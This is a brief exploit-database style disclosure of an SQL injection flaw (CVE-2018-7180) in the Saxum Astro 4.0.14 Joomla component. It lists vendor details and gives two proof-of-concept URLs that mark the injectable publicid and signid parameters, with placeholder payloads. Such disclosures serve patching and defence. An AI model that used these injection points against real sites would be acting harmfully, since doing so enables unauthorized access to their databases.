# # # # # # Exploit Title: Joomla! Component Saxum Astro 4.0.14 - SQL Injection # Dork: N/A # Date: 16.02.2018 # Vendor Homepage: http://www.saxum2003.hu/ # Software Link: https://extensions.joomla.org/extensions/extension/living/astrology-a-horoscope/saxumastro/ # Software Download: http://www.saxum2003.hu/downloadsen/file/93-astro4.html # Version: 4.0.14 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-7180 # # # # # # Exploit Author: Ihsan Sencan # # # # # # # POC: # # 1) # http://localhost/[PATH]/index.php?option=com_saxumastro&view=savedreading&publicid=[SQL] # # 2) # http://localhost/[PATH]/index.php?option=com_saxumastro&view=interpret&typeid=1&signid=[SQL] # # # # # #